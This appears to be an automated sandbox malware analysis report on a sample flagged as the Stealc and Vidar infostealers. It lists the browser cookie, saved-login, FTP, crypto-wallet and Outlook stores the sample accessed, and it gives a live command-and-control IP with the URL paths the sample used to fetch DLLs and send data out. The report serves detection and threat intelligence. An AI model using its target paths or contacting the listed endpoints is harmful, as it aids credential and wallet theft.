Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2386523415.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2156334740.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2672, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	53%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/softokn3.dllF	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dll.	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/sqlite3.dllB	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php_	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpdll	17%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dllP	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	DHCGIDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpata	file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	DHCGIDHD.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllP	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllF	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php3I5	file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2415992487.0000000029940000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37:	file.exe, 00000000.00000002.2386523415.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2386523415.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phprowser	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll.	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpCoinomi	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpm5	file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2415992487.0000000029940000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php_	file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllB	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422302754.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpv5	file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.epnacl	file.exe, 00000000.00000002.2415992487.0000000029940000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2422841103.000000006FD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllL	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	DHCGIDHD.0.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phprum-LTC	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AEGHIJEHJDHIDHIDAEHC.0.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	DHCGIDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllf	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php?	file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2415992487.0000000029940000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllt	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	false	URL Reputation: safe	unknown
https://cdn.ep	file.exe, 00000000.00000002.2415992487.0000000029940000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	DHCGIDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/E	file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php/	file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllp	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllj	file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php9	file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.php55Z	file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php&	file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	DHCGIDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php#	file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll5	file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532347
Start date and time:	2024-10-13 00:46:41 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 74 Number of non-executed functions: 51
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Eae0KTw4m1.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	pQdK0IZYsv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Eae0KTw4m1.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	pQdK0IZYsv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKJEGCFBGDHJJJJJKJECFCFCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
